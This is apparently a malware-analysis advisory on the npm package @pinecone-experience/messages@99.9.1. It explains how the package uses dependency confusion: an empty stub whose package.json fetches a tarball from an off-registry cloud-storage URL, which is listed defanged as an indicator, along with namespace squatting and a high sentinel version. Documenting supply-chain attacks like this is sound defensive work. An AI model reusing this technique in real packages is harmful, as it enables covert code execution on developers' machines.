@pinecone-experience/messages@99.9.1

Analysis

@pinecone-experience/messages@99.9.1 is a dependency-confusion package: a 363-byte stub (index.js contains only `module.exports = {}`) whose sole function is to pull a payload from outside the npm registry. Its package.json declares a single dependency resolved from an attacker-controlled Google Cloud Storage bucket rather than the registry: "ltidisafe": "hxxps://ltidi[.]storage[.]googleapis[.]com/depenconf/ltidisafe-3[.]8[.]3[.]tgz". Any `npm install` of this package fetches and installs that remote tarball, executing whatever it contains. The package name combosquats the Pinecone namespace (real scope @pinecone-io) and ships at sentinel version 99.9.1 so that version-range or "latest"-preferring resolvers select it. The published stub itself contains no code, no lifecycle hooks, and no bin entries — the payload is entirely in the off-registry tarball. IOC: hxxps://ltidi[.]storage[.]googleapis[.]com/depenconf/ltidisafe-3[.]8[.]3[.]tgz (host ltidi[.]storage[.]googleapis[.]com).